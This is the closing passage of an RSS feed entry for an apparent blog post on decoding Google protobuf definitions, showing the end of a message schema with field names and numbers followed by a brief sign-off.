  BrowseRequestContext browse_request_context = <span class="hljs-number">31</span>;
  DeviceContextEvent device_context_info = <span class="hljs-number">32</span>;
  BrowseRequestSupportedMetadata browse_request_supported_metadata = <span class="hljs-number">33</span>;
  <span class="hljs-type">string</span> target_id = <span class="hljs-number">35</span>;
  MySubsSettingsState subscription_settings_state = <span class="hljs-number">36</span>;
  MdxContext mdx_context = <span class="hljs-number">37</span>;
  CustomTabContext custom_tab_context = <span class="hljs-number">38</span>;
  ProducerAssetRequestData producer_asset_request_data = <span class="hljs-number">39</span>;
  LatestContainerItemEventsInfo latest_container_item_events_info = <span class="hljs-number">40</span>;
  ScrubContinuationClientData scrub_continuation_client_data = <span class="hljs-number">41</span>;
}
...</code></pre></br>

<p>That&#39;s all for now! Happy hacking and feel free to reach out to me if you have any questions.</p>
]]></content:encoded>
            <enclosure url="https://brutecat.com/assets/decoding-google.jpeg" length="0" type="image/jpeg"/>
        </item>
    </channel>
</rss>